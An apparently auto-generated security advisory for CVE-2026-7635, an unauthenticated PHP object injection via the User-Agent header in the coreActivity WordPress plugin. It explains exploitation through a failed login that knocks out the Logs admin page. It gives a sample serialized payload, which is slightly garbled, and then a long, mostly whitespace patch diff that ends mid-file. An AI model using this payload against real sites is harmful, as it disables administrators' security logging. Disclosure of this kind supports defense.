Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 15, 2026

CVE-2026-7635: coreActivity: Activity Logging for WordPress <= 3.0 – Unauthenticated PHP Object Injection via 'user_agent' Log Meta Field (coreactivity)

CVE ID CVE-2026-7635
Plugin coreactivity
Severity High (CVSS 8.1)
CWE 502
Vulnerable Version 3.0
Patched Version 3.1
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7635:

This is an Unauthenticated PHP Object Injection vulnerability in the coreActivity plugin for WordPress, affecting versions up to and including 3.0. The vulnerability allows an attacker to inject a PHP serialized payload through the User-Agent HTTP header. The plugin stores the User-Agent header directly into the logmeta table after only basic text sanitization via Sanitize::text(). Later, when an administrator visits the Logs page, the plugin calls maybe_unserialize() on every meta_value via query_metas() without verifying the data was originally serialized by the application. The deserialized object is then passed to DeviceDetector::setUserAgent(), triggering a Fatal TypeError if the injected payload does not match the expected string type, resulting in a persistent Denial of Service condition on the Logs admin page.

The root cause lies in the unsafe handling of serialized data. In the vulnerable version, the get_user_agent() method in coreactivity/core/log/Core.php (line 252) accepts $_SERVER[‘HTTP_USER_AGENT’] after passing it through Sanitize::text() and trim(). The output is stored in the log table without any check for serialization syntax. When the Logs page loads, query_metas() (at an undefined line in the truncated diff, but clearly present) calls maybe_unserialize() on every meta_value, including the user_agent field. The fix introduces a new private method make_serialized_invalid() in the same class (lines 391-399). This method uses PHP’s is_serialized() to detect if the input is a serialized string and, if so, prepends ‘INVALID__’ to break the serialization format. The patch also updates the call in get_user_agent() to pass the sanitized User-Agent through make_serialized_invalid() before returning it.

Exploitation is straightforward and requires no authentication. An attacker sends an HTTP request to any endpoint that triggers a logged event by the coreActivity plugin. A failed login attempt is the simplest and most reliable event to trigger. The attacker sets the User-Agent header to a PHP serialized payload, such as ‘O:36:”DeviceDetectorDeviceDetectorDeviceDetector”:0:{}’. The payload must be a single string with no newlines, but the plugin only calls trim() to remove whitespace; it does not strip serialization syntax. When an administrator later visits the wp-admin/admin.php page with the coreactivity-logs tab, the plugin fetches all log entries, calls maybe_unserialize() on each meta_value, including the poisoned user_agent. The resulting object (if not a string) is passed to DeviceDetector::setUserAgent(), which expects a string parameter. This causes a Fatal TypeError, crashing the page and preventing the administrator from accessing the Logs interface. The Denial of Service is persistent because the malicious entry remains in the database until manually deleted via another method.

The patch modifies coreactivity/core/log/Core.php by adding the make_serialized_invalid() method and changing the get_user_agent() method to call it. The new method checks if the input is a serialized string using is_serialized(). If true, it prepends the invalidating prefix ‘INVALID__’. This prefix breaks the serialization format, causing maybe_unserialize() to return the string as-is (since it is no longer valid serialized data) and preventing the Fatal TypeError. The patch also includes functionality for other output escaping and hardening. The fix ensures that any serialized data injected via the User-Agent header is rendered harmless before storage.

The impact is a persistent Denial of Service for the Logs admin page. An attacker can render this critical interface unusable for all administrators, including super admins on multisite installations. This prevents administrators from monitoring, auditing, or investigating security events on the site. The attack does not directly achieve remote code execution or privilege escalation, but it severely compromises the site’s security visibility and logging capability. The CVSS score of 8.1 (High) reflects the low complexity, network attack vector, and lack of authentication required.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/coreactivity/core/admin/Plugin.php
+++ b/coreactivity/core/admin/Plugin.php
@@ -9,245 +9,245 @@
 use Dev4Pressv55CoreAdminNetworkPlugin as BasePlugin;

 if ( ! defined( 'ABSPATH' ) ) {
-	exit;
+    exit;
 }

 class Plugin extends BasePlugin {
-	public string $plugin = 'coreactivity';
-	public string $plugin_prefix = 'coreactivity';
-	public string $plugin_menu = 'coreActivity';
-	public string $plugin_title = 'coreActivity';
-	public bool $buy_me_a_coffee = true;
-	public string $plugin_settings = 'network-only';
-
-	public bool $auto_mod_interface_colors = true;
-	public bool $has_widgets = true;
-	public bool $has_metabox = true;
-
-	public array $enqueue_wp = array(
-		'dialog'       => true,
-		'color_picker' => true,
-	);
-	public array $per_page_options = array(
-		'coreactivity_logs_rows_per_page',
-		'coreactivity_events_rows_per_page',
-	);
-
-	public function constructor() : void {
-		$this->url  = COREACTIVITY_URL;
-		$this->path = COREACTIVITY_PATH;
-
-		Users::i();
-	}
-
-	public function register_scripts_and_styles() : void {
-		$this->enqueue->register( 'css', 'coreactivity-admin',
-			array(
-				'path' => 'css/',
-				'file' => 'admin',
-				'ext'  => 'css',
-				'min'  => true,
-				'ver'  => coreactivity_settings()->file_version(),
-				'src'  => 'plugin',
-				'int'  => array( 'flags', 'ctrl' ),
-			) )->register( 'js', 'coreactivity-admin',
-			array(
-				'path' => 'js/',
-				'file' => 'admin',
-				'ext'  => 'js',
-				'min'  => true,
-				'ver'  => coreactivity_settings()->file_version(),
-				'src'  => 'plugin',
-				'int'  => array( 'ctrl' ),
-			) )->register( 'css', 'coreactivity-global',
-			array(
-				'path' => 'css/',
-				'file' => 'global',
-				'ext'  => 'css',
-				'min'  => true,
-				'ver'  => coreactivity_settings()->file_version(),
-				'src'  => 'plugin',
-				'int'  => array(),
-			) );
-	}
-
-	public function plugins_loaded() : void {
-		parent::plugins_loaded();
-
-		add_filter( 'default_hidden_columns', array( $this, 'hide_columns_default' ), 10, 2 );
-	}
-
-	public function hide_columns_default( $columns, $screen ) {
-		if ( $screen->id == 'coreactivity_page_coreactivity-logs' ) {
-			$columns[] = 'method';
-			$columns[] = 'protocol';
-			$columns[] = 'object_type';
-			$columns[] = 'object_name';
-		}
-
-		return $columns;
-	}
-
-	public function svg_icon() : string {
-		return coreactivity()->svg_icon;
-	}
-
-	public function admin_menu_items() : void {
-		$this->setup_items = array(
-			'install' => array(
-				'title' => __( 'Install', 'coreactivity' ),
-				'icon'  => 'ui-traffic',
-				'type'  => 'setup',
-				'info'  => __( 'Before you continue, make sure plugin installation was successful.', 'coreactivity' ),
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Install',
-				'scope' => array( 'network' ),
-			),
-			'update'  => array(
-				'title' => __( 'Update', 'coreactivity' ),
-				'icon'  => 'ui-traffic',
-				'type'  => 'setup',
-				'info'  => __( 'Before you continue, make sure plugin was successfully updated.', 'coreactivity' ),
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Update',
-				'scope' => array( 'network' ),
-			),
-		);
-
-		$this->menu_items = array(
-			'dashboard' => array(
-				'title' => __( 'Overview', 'coreactivity' ),
-				'icon'  => 'ui-home',
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Dashboard',
-				'scope' => array( 'blog', 'network' ),
-			),
-			'about'     => array(
-				'title' => __( 'About', 'coreactivity' ),
-				'icon'  => 'ui-info',
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\About',
-				'scope' => array( 'blog', 'network' ),
-			),
-			'logs'      => array(
-				'title' => __( 'Logs', 'coreactivity' ),
-				'icon'  => 'ui-calendar-pen',
-				'info'  => __( 'Detailed log with all the logged activities for all supported events.', 'coreactivity' ),
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Logs',
-				'scope' => array( 'blog', 'network' ),
-			),
-			'events'    => array(
-				'title' => __( 'Events', 'coreactivity' ),
-				'icon'  => 'ui-radar',
-				'info'  => __( 'All the events registered for activity tracking and logging.', 'coreactivity' ),
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Events',
-				'scope' => array( 'network' ),
-			),
-			'settings'  => array(
-				'title' => __( 'Settings', 'coreactivity' ),
-				'icon'  => 'ui-cog',
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Settings',
-				'scope' => array( 'network' ),
-			),
-			'tools'     => array(
-				'title' => __( 'Tools', 'coreactivity' ),
-				'icon'  => 'ui-wrench',
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Tools',
-				'scope' => array( 'network' ),
-			),
-		);
-
-		if ( $this->settings()->get( 'show_setup_wizard' ) ) {
-			$this->menu_items['wizard'] = array(
-				'title' => __( 'Setup Wizard', 'coreactivity' ),
-				'icon'  => 'ui-magic',
-				'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Wizard',
-			);
-		}
-	}
-
-	public function run_getback() : void {
-		new GetBack( $this );
-	}
-
-	public function run_postback() : void {
-		new PostBack( $this );
-	}
-
-	public function admin_init() : void {
-		if ( ! coreactivity()->is_logging_active() ) {
-			if ( coreactivity_settings()->get( 'notice_if_logging_is_disabled' ) ) {
-				if ( is_super_admin() ) {
-					add_action( 'admin_notices', array( $this, 'notice_disabled' ) );
-				}
-			}
-		}
-	}
+    public string $plugin = 'coreactivity';
+    public string $plugin_prefix = 'coreactivity';
+    public string $plugin_menu = 'coreActivity';
+    public string $plugin_title = 'coreActivity';
+    public bool $buy_me_a_coffee = true;
+    public string $plugin_settings = 'network-only';
+
+    public bool $auto_mod_interface_colors = true;
+    public bool $has_widgets = true;
+    public bool $has_metabox = true;
+
+    public array $enqueue_wp = array(
+            'dialog'       => true,
+            'color_picker' => true,
+    );
+    public array $per_page_options = array(
+            'coreactivity_logs_rows_per_page',
+            'coreactivity_events_rows_per_page',
+    );
+
+    public function constructor() : void {
+        $this->url  = COREACTIVITY_URL;
+        $this->path = COREACTIVITY_PATH;
+
+        Users::i();
+    }
+
+    public function register_scripts_and_styles() : void {
+        $this->enqueue->register( 'css', 'coreactivity-admin',
+                array(
+                        'path' => 'css/',
+                        'file' => 'admin',
+                        'ext'  => 'css',
+                        'min'  => true,
+                        'ver'  => coreactivity_settings()->file_version(),
+                        'src'  => 'plugin',
+                        'int'  => array( 'flags', 'ctrl' ),
+                ) )->register( 'js', 'coreactivity-admin',
+                array(
+                        'path' => 'js/',
+                        'file' => 'admin',
+                        'ext'  => 'js',
+                        'min'  => true,
+                        'ver'  => coreactivity_settings()->file_version(),
+                        'src'  => 'plugin',
+                        'int'  => array( 'ctrl' ),
+                ) )->register( 'css', 'coreactivity-global',
+                array(
+                        'path' => 'css/',
+                        'file' => 'global',
+                        'ext'  => 'css',
+                        'min'  => true,
+                        'ver'  => coreactivity_settings()->file_version(),
+                        'src'  => 'plugin',
+                        'int'  => array(),
+                ) );
+    }
+
+    public function plugins_loaded() : void {
+        parent::plugins_loaded();
+
+        add_filter( 'default_hidden_columns', array( $this, 'hide_columns_default' ), 10, 2 );
+    }
+
+    public function hide_columns_default( $columns, $screen ) {
+        if ( $screen->id == 'coreactivity_page_coreactivity-logs' ) {
+            $columns[] = 'method';
+            $columns[] = 'protocol';
+            $columns[] = 'object_type';
+            $columns[] = 'object_name';
+        }
+
+        return $columns;
+    }
+
+    public function svg_icon() : string {
+        return coreactivity()->svg_icon;
+    }
+
+    public function admin_menu_items() : void {
+        $this->setup_items = array(
+                'install' => array(
+                        'title' => __( 'Install', 'coreactivity' ),
+                        'icon'  => 'ui-traffic',
+                        'type'  => 'setup',
+                        'info'  => __( 'Before you continue, make sure plugin installation was successful.', 'coreactivity' ),
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Install',
+                        'scope' => array( 'network' ),
+                ),
+                'update'  => array(
+                        'title' => __( 'Update', 'coreactivity' ),
+                        'icon'  => 'ui-traffic',
+                        'type'  => 'setup',
+                        'info'  => __( 'Before you continue, make sure plugin was successfully updated.', 'coreactivity' ),
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Update',
+                        'scope' => array( 'network' ),
+                ),
+        );
+
+        $this->menu_items = array(
+                'dashboard' => array(
+                        'title' => __( 'Overview', 'coreactivity' ),
+                        'icon'  => 'ui-home',
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Dashboard',
+                        'scope' => array( 'blog', 'network' ),
+                ),
+                'about'     => array(
+                        'title' => __( 'About', 'coreactivity' ),
+                        'icon'  => 'ui-info',
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\About',
+                        'scope' => array( 'blog', 'network' ),
+                ),
+                'logs'      => array(
+                        'title' => __( 'Logs', 'coreactivity' ),
+                        'icon'  => 'ui-calendar-pen',
+                        'info'  => __( 'Detailed log with all the logged activities for all supported events.', 'coreactivity' ),
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Logs',
+                        'scope' => array( 'blog', 'network' ),
+                ),
+                'events'    => array(
+                        'title' => __( 'Events', 'coreactivity' ),
+                        'icon'  => 'ui-radar',
+                        'info'  => __( 'All the events registered for activity tracking and logging.', 'coreactivity' ),
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Events',
+                        'scope' => array( 'network' ),
+                ),
+                'settings'  => array(
+                        'title' => __( 'Settings', 'coreactivity' ),
+                        'icon'  => 'ui-cog',
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Settings',
+                        'scope' => array( 'network' ),
+                ),
+                'tools'     => array(
+                        'title' => __( 'Tools', 'coreactivity' ),
+                        'icon'  => 'ui-wrench',
+                        'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Tools',
+                        'scope' => array( 'network' ),
+                ),
+        );
+
+        if ( $this->settings()->get( 'show_setup_wizard' ) ) {
+            $this->menu_items['wizard'] = array(
+                    'title' => __( 'Setup Wizard', 'coreactivity' ),
+                    'icon'  => 'ui-magic',
+                    'class' => '\Dev4Press\Plugin\CoreActivity\Admin\Panel\Wizard',
+            );
+        }
+    }
+
+    public function run_getback() : void {
+        new GetBack( $this );
+    }
+
+    public function run_postback() : void {
+        new PostBack( $this );
+    }
+
+    public function admin_init() : void {
+        if ( ! coreactivity()->is_logging_active() ) {
+            if ( coreactivity_settings()->get( 'notice_if_logging_is_disabled' ) ) {
+                if ( is_super_admin() ) {
+                    add_action( 'admin_notices', array( $this, 'notice_disabled' ) );
+                }
+            }
+        }
+    }

-	public function notice_disabled() : void {
-		?>
+    public function notice_disabled() : void {
+        ?>

         <div class="notice notice-error">
             <p><?php esc_html_e( 'coreActivity events logging has been disabled. You can enable it again from the plugin Dashboard.', 'coreactivity' ); ?>
                 <a href="<?php echo esc_url( $this->panel_url() ); ?>"><?php esc_html_e( 'coreActivity Dashboard', 'coreactivity' ); ?></a></p>
         </div>

-		<?php
-	}
+        <?php
+    }

-	public function message_process( $code, $msg ) {
-		switch ( $code ) {
-			case 'cleanup-completed':
-			case 'delete-completed':
-				$msg['message'] = __( 'The cleanup operation has been completed.', 'coreactivity' );
-				break;
-			case 'events-updated':
-				$msg['message'] = __( 'Events activity status has been updated.', 'coreactivity' );
-				break;
-			case 'notifications-updated':
-				$msg['message'] = __( 'Events notifications status has been updated.', 'coreactivity' );
-				break;
-		}
-
-		return $msg;
-	}
-
-	public function settings() : CoreSettings {
-		return coreactivity_settings();
-	}
-
-	public function plugin() : CorePlugin {
-		return coreactivity();
-	}
-
-	public function settings_definitions() : Settings {
-		return Settings::instance();
-	}
-
-	public function enqueue() : void {
-		$this->e()->css( 'coreactivity-admin' );
-		$this->e()->js( 'coreactivity-admin' );
-
-		$values = array(
-			'live_updates' => $this->settings()->get( 'logs_live_updates' ) ? 'Y' : 'N',
-		);
-
-		wp_localize_script( $this->e()->prefix() . 'coreactivity-admin', 'coreactivity_data', $values );
-	}
-
-	public function wizard() {
-		return Wizard::i();
-	}
-
-	public function help_tab_getting_help() : void {
-		if ( ! empty( $this->panel ) ) {
-			Help::i();
-		}
-
-		parent::help_tab_getting_help();
-	}
-
-	protected function extra_enqueue_scripts_plugin() : void {
-		$this->enqueue();
-	}
-
-	protected function extra_enqueue_scripts_final( $hook ) : void {
-		$this->e()->css( 'coreactivity-global' );
-	}
+    public function message_process( $code, $msg ) {
+        switch ( $code ) {
+            case 'cleanup-completed':
+            case 'delete-completed':
+                $msg['message'] = __( 'The cleanup operation has been completed.', 'coreactivity' );
+                break;
+            case 'events-updated':
+                $msg['message'] = __( 'Events activity status has been updated.', 'coreactivity' );
+                break;
+            case 'notifications-updated':
+                $msg['message'] = __( 'Events notifications status has been updated.', 'coreactivity' );
+                break;
+        }
+
+        return $msg;
+    }
+
+    public function settings() : CoreSettings {
+        return coreactivity_settings();
+    }
+
+    public function plugin() : CorePlugin {
+        return coreactivity();
+    }
+
+    public function settings_definitions() : Settings {
+        return Settings::instance();
+    }
+
+    public function enqueue() : void {
+        $this->e()->css( 'coreactivity-admin' );
+        $this->e()->js( 'coreactivity-admin' );
+
+        $values = array(
+                'live_updates' => $this->settings()->get( 'logs_live_updates' ) ? 'Y' : 'N',
+        );
+
+        wp_localize_script( $this->e()->prefix() . 'coreactivity-admin', 'coreactivity_data', $values );
+    }
+
+    public function wizard() {
+        return Wizard::i();
+    }
+
+    public function help_tab_getting_help() : void {
+        if ( ! empty( $this->panel ) ) {
+            Help::i();
+        }
+
+        parent::help_tab_getting_help();
+    }
+
+    protected function extra_enqueue_scripts_plugin() : void {
+        $this->enqueue();
+    }
+
+    protected function extra_enqueue_scripts_final( $hook ) : void {
+        $this->e()->css( 'coreactivity-global' );
+    }
 }
--- a/coreactivity/core/admin/Settings.php
+++ b/coreactivity/core/admin/Settings.php
@@ -400,6 +400,7 @@
 							'settings' => array(
 								$this->i( 'settings', 'geolocation_geoip2_license', __( 'License', 'coreactivity' ), __( 'License is required to download and updated database file.', 'coreactivity' ), Type::TEXT )->more(
 									array(
+										__( 'To use this library, you must have PHP 8.1 on your server! If you activate it while using older PHP, you may encounter compatibility issues.', 'coreactivity' ),
 										__( 'GEOIP2 has free and premium services and databases. For this plugin purposes, Lite database is quite sufficient.', 'coreactivity' ),
 										__( 'To get the download license, register on the GEOIP2 website, and once you are logged in there, generate new license.', 'coreactivity' ),
 										__( 'Plugin will attempt to download database file once a week during regular weekly maintenance.', 'coreactivity' ),
--- a/coreactivity/core/basic/AdminBar.php
+++ b/coreactivity/core/basic/AdminBar.php
@@ -3,29 +3,29 @@
 namespace Dev4PressPluginCoreActivityBasic;

 if ( ! defined( 'ABSPATH' ) ) {
-	exit;
+    exit;
 }

 class AdminBar {
-	public function __construct() {
-		add_action( 'wp_before_admin_bar_render', array( $this, 'integration' ) );
+    public function __construct() {
+        add_action( 'wp_before_admin_bar_render', array( $this, 'integration' ) );

-		add_action( 'admin_head', array( $this, 'style' ) );
-		add_action( 'wp_head', array( $this, 'style' ) );
-	}
+        add_action( 'admin_head', array( $this, 'style' ) );
+        add_action( 'wp_head', array( $this, 'style' ) );
+    }

-	public static function instance() : AdminBar {
-		static $instance = null;
+    public static function instance() : AdminBar {
+        static $instance = null;

-		if ( ! isset( $instance ) ) {
-			$instance = new AdminBar();
-		}
+        if ( ! isset( $instance ) ) {
+            $instance = new AdminBar();
+        }

-		return $instance;
-	}
+        return $instance;
+    }

-	public function style() {
-		?>
+    public function style() {
+        ?>
         <style>
             #wpadminbar .coreactivity-adminbar-count {
                 display: inline-block;
@@ -52,80 +52,80 @@
                     display: block;
                 }
             }</style>
-		<?php
-	}
+        <?php
+    }

-	public function short_count( $number ) {
-		$suffix = array( '', 'K', 'M' );
+    public function short_count( $number ) {
+        $suffix = array( '', 'K', 'M' );

-		for ( $i = 0; $i < count( $suffix ); $i ++ ) {
-			$divide = $number / pow( 1000, $i );
+        for ( $i = 0; $i < count( $suffix ); $i ++ ) {
+            $divide = $number / pow( 1000, $i );

-			if ( $divide < 1000 ) {
-				return round( $divide ) . $suffix[ $i ];
-			}
-		}
-
-		return $number;
-	}
-
-	public function integration() {
-		if ( current_user_can( 'manage_options' ) ) {
-			global $wp_admin_bar;
-
-			$show  = '';
-			$count = coreactivity_settings()->get( 'admin_bar_indicator' ) ? DB::i()->get_new_log_entries_since_last_log_visit() : 0;
-
-			$title = '<span style="margin-top: 2px" class="ab-icon dashicons dashicons-database"></span><span class="ab-label">' . __( 'coreActivity', 'coreactivity' ) . '</span>';
-
-			if ( $count > 0 ) {
-				$show  = '<span class="wp-ui-notification coreactivity-adminbar-count">' . $this->short_count( $count ) . '</span>';
-				$title .= $show;
-			}
-
-			$wp_admin_bar->add_menu( array(
-				'id'    => 'coreactivity-menu',
-				'title' => $title,
-				'href'  => network_admin_url( 'admin.php?page=coreactivity-dashboard' ),
-			) );
-
-			$wp_admin_bar->add_group( array(
-				'parent' => 'coreactivity-menu',
-				'id'     => 'coreactivity-menu-top',
-			) );
-
-			$wp_admin_bar->add_group( array(
-				'parent' => 'coreactivity-menu',
-				'id'     => 'coreactivity-menu-bottom',
-			) );
-
-			$wp_admin_bar->add_menu( array(
-				'parent' => 'coreactivity-menu-top',
-				'id'     => 'coreactivity-menu-events',
-				'title'  => __( 'Events', 'coreactivity' ),
-				'href'   => network_admin_url( 'admin.php?page=coreactivity-events' ),
-			) );
-
-			$wp_admin_bar->add_menu( array(
-				'parent' => 'coreactivity-menu-top',
-				'id'     => 'coreactivity-menu-logs',
-				'title'  => __( 'Logs', 'coreactivity' ) . $show,
-				'href'   => network_admin_url( 'admin.php?page=coreactivity-logs' ),
-			) );
-
-			$wp_admin_bar->add_menu( array(
-				'parent' => 'coreactivity-menu-bottom',
-				'id'     => 'coreactivity-menu-settings',
-				'title'  => __( 'Settings', 'coreactivity' ),
-				'href'   => network_admin_url( 'admin.php?page=coreactivity-settings' ),
-			) );
-
-			$wp_admin_bar->add_menu( array(
-				'parent' => 'coreactivity-menu-bottom',
-				'id'     => 'coreactivity-menu-tools',
-				'title'  => __( 'Tools', 'coreactivity' ),
-				'href'   => network_admin_url( 'admin.php?page=coreactivity-tools' ),
-			) );
-		}
-	}
+            if ( $divide < 1000 ) {
+                return round( $divide ) . $suffix[ $i ];
+            }
+        }
+
+        return $number;
+    }
+
+    public function integration() {
+        if ( current_user_can( 'manage_options' ) ) {
+            global $wp_admin_bar;
+
+            $show  = '';
+            $count = coreactivity_settings()->get( 'admin_bar_indicator' ) ? DB::i()->get_new_log_entries_since_last_log_visit() : 0;
+
+            $title = '<span style="margin-top: 2px" class="ab-icon dashicons dashicons-database"></span><span class="ab-label">' . __( 'coreActivity', 'coreactivity' ) . '</span>';
+
+            if ( $count > 0 ) {
+                $show  = '<span class="wp-ui-notification coreactivity-adminbar-count">' . $this->short_count( $count ) . '</span>';
+                $title .= $show;
+            }
+
+            $wp_admin_bar->add_menu( array(
+                    'id'    => 'coreactivity-menu',
+                    'title' => $title,
+                    'href'  => network_admin_url( 'admin.php?page=coreactivity-dashboard' ),
+            ) );
+
+            $wp_admin_bar->add_group( array(
+                    'parent' => 'coreactivity-menu',
+                    'id'     => 'coreactivity-menu-top',
+            ) );
+
+            $wp_admin_bar->add_group( array(
+                    'parent' => 'coreactivity-menu',
+                    'id'     => 'coreactivity-menu-bottom',
+            ) );
+
+            $wp_admin_bar->add_menu( array(
+                    'parent' => 'coreactivity-menu-top',
+                    'id'     => 'coreactivity-menu-events',
+                    'title'  => __( 'Events', 'coreactivity' ),
+                    'href'   => network_admin_url( 'admin.php?page=coreactivity-events' ),
+            ) );
+
+            $wp_admin_bar->add_menu( array(
+                    'parent' => 'coreactivity-menu-top',
+                    'id'     => 'coreactivity-menu-logs',
+                    'title'  => __( 'Logs', 'coreactivity' ) . $show,
+                    'href'   => network_admin_url( 'admin.php?page=coreactivity-logs' ),
+            ) );
+
+            $wp_admin_bar->add_menu( array(
+                    'parent' => 'coreactivity-menu-bottom',
+                    'id'     => 'coreactivity-menu-settings',
+                    'title'  => __( 'Settings', 'coreactivity' ),
+                    'href'   => network_admin_url( 'admin.php?page=coreactivity-settings' ),
+            ) );
+
+            $wp_admin_bar->add_menu( array(
+                    'parent' => 'coreactivity-menu-bottom',
+                    'id'     => 'coreactivity-menu-tools',
+                    'title'  => __( 'Tools', 'coreactivity' ),
+                    'href'   => network_admin_url( 'admin.php?page=coreactivity-tools' ),
+            ) );
+        }
+    }
 }
--- a/coreactivity/core/basic/Information.php
+++ b/coreactivity/core/basic/Information.php
@@ -11,11 +11,11 @@
 class Information extends BaseInformation {
 	public string $code = 'coreactivity';

-	public string $version = '3.0';
-	public int $build = 3000;
+	public string $version = '3.1';
+	public int $build = 3100;
 	public string $edition = 'free';
 	public string $status = 'stable';
-	public string $updated = '2026.02.11';
+	public string $updated = '2026.05.06';
 	public string $released = '2023.09.06';

 	public string $github_url = 'https://github.com/dev4press/coreactivity';
--- a/coreactivity/core/log/Core.php
+++ b/coreactivity/core/log/Core.php
@@ -250,7 +250,9 @@

 	private function get_user_agent() : string {
 		if ( coreactivity_settings()->get( 'log_if_available_user_agent' ) && isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
-			return Sanitize::text( trim( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+			$ua = Sanitize::text( trim( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+
+			return $this->make_serialized_invalid( $ua );
 		}

 		return '';
@@ -386,4 +388,16 @@

 		return md5( wp_json_encode( $temp ) );
 	}
+
+	private function make_serialized_invalid( $input ) {
+		if ( ! is_string( $input ) || empty( $input ) ) {
+			return $input;
+		}
+
+		if ( is_serialized( $input ) ) {
+			return 'INVALID__' . $input;
+		}
+
+		return $input;
+	}
 }
--- a/coreactivity/core/log/Display.php
+++ b/coreactivity/core/log/Display.php
@@ -8,6 +8,7 @@
 use stdClass;
 use WP_Comment;
 use WP_Post;
+use WP_Term;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -465,7 +466,7 @@

 		$term = get_term( $item->object_id );

-		if ( $term instanceof WP_Term ) {
+		if ( $term instanceof WP_Term ) {
 			/* translators: Display log Term information. %1$s: Term ID. %2$s: Term Name and Link. %3$s: Taxonomy Name. */
 			$render .= sprintf( __( 'ID: %1$s · Term: %2$s<br/>Taxonomy: %3$s', 'coreactivity' ), '<strong>' . $term->term_id . '</strong>', '<strong><a href="' . get_edit_term_link( $term ) . '">' . $term->name . '</a></strong>', '<strong>' . $term->taxonomy . '</strong>' );
 		} else {
@@ -697,7 +698,7 @@

 		$term = get_term( $item->object_id );

-		if ( $term instanceof WP_Term ) {
+		if ( $term instanceof WP_Term ) {
 			/* translators: Display brief log Term information. %1$s: Term ID. %2$s: Term Name. %3$s: Divider Dot. %4$s: Term Taxonomy. */
 			$render .= sprintf( __( 'ID: %1$s · Term: %2$s%3$sTaxonomy: %4$s', 'coreactivity' ), $term->term_id, $term->name, ' · ', $term->taxonomy );
 		} else {
--- a/coreactivity/core/table/Logs.php
+++ b/coreactivity/core/table/Logs.php
@@ -19,1227 +19,1235 @@
 use function Dev4Pressv55Functionspanel;

 if ( ! defined( 'ABSPATH' ) ) {
-	exit;
+    exit;
 }

 class Logs extends Table {
-	public array $_sanitize_orderby_fields = array( 'l.log_id', 'l.ip', 'e.component', 'e.event' );
-	public string $_table_class_name = 'coreactivity-grid-logs';
-	public string $_checkbox_field = 'log_id';
-	public string $_self_nonce_key = 'coreactivity-table-logs';
-	public string $_rows_per_page_key = 'coreactivity_logs_rows_per_page';
-	public int $_rows_per_page_default = 25;
-	public string $_views_separator = '';
-	public $_current_view = '';
-	public $_current_ip = '';
-	public $_server_ip = '';
-
-	protected $_is_live_instance = false;
-	protected $_display_blog_column_linked;
-	protected $_display_columns_simplified;
-	protected $_display_ip_country_flag;
-	protected $_display_user_avatar;
-	protected $_display_request_column;
-	protected $_display_detection_column;
-	protected $_display_protocol_column;
-	protected $_display_object_type_column;
-	protected $_display_meta_column = null;
-	protected $_admin_object = null;
-	protected $_filter_key = 'coreactivity';
-	protected $_logs_instance = 'coreactivity';
-	protected $_url_page_name = '';
-	protected $_limit_lock = array();
-	protected $_filter_lock = array();
-	protected $_filter_remove = array();
-	protected $_items_ips = array();
-	protected $_meta_column = array();
-	protected $_view_pairs = array(
-		'object' => array( 'object_type', 'object_id', 'object_name' ),
-	);
-	protected $_valid_views = array(
-		'user_id',
-		'blog_id',
-		'event_id',
-		'ip',
-		'object_type',
-		'object',
-		'country_code',
-		'component',
-		'context',
-		'method',
-	);
-	protected $_allowed_override_settings = array(
-		'_display_meta_column',
-		'_logs_instance',
-		'_filter_key',
-		'_meta_column',
-		'_rows_per_page_key',
-		'_current_view',
-	);
-
-	public function __construct( $args = array() ) {
-		Display::i();
-
-		foreach ( $args as $key => $value ) {
-			if ( property_exists( $this, $key ) ) {
-				$this->$key = $value;
-			}
-		}
-
-		$this->_current_ip = Core::i()->get( 'ip' );
-		$this->_server_ip  = Core::i()->get( 'server_ip' );
-
-		$this->_display_blog_column_linked = coreactivity_settings()->get( 'display_blog_column_linked' );
-		$this->_display_columns_simplified = coreactivity_settings()->get( 'display_columns_simplified' );
-		$this->_display_ip_country_flag    = coreactivity_settings()->get( 'display_ip_country_flag' );
-		$this->_display_user_avatar        = coreactivity_settings()->get( 'display_user_avatar' );
-		$this->_display_request_column     = coreactivity_settings()->get( 'display_request_column' );
-		$this->_display_protocol_column    = coreactivity_settings()->get( 'display_protocol_column' );
-		$this->_display_detection_column   = coreactivity_settings()->get( 'display_detection_column' );
-		$this->_display_object_type_column = coreactivity_settings()->get( 'display_object_type_column' );
-
-		if ( is_null( $this->_display_meta_column ) ) {
-			$this->_display_meta_column = coreactivity_settings()->get( 'display_meta_column' );
-		}
-
-		if ( $this->_display_meta_column ) {
-			$this->_meta_column = apply_filters( 'coreactivity_logs_meta_column_keys', array(), $this );
-		}
-
-		parent::__construct( array(
-			'singular' => 'log',
-			'plural'   => 'logs',
-			'ajax'     => false,
-		) );
-	}
-
-	public function i() : Activity {
-		return Activity::i();
-	}
-
-	public function get_instance_code() : string {
-		return $this->_logs_instance;
-	}
-
-	public function get_columns_simplified() : bool {
-		return $this->_display_columns_simplified;
-	}
-
-	public function set_limit_lock( $name, $value ) {
-		$this->_limit_lock[ $name ] = $value;
-	}
-
-	public function set_filter_lock( $name, $value ) {
-		$this->_filter_lock[ $name ] = $value;
-	}
-
-	public function prepare_items() {
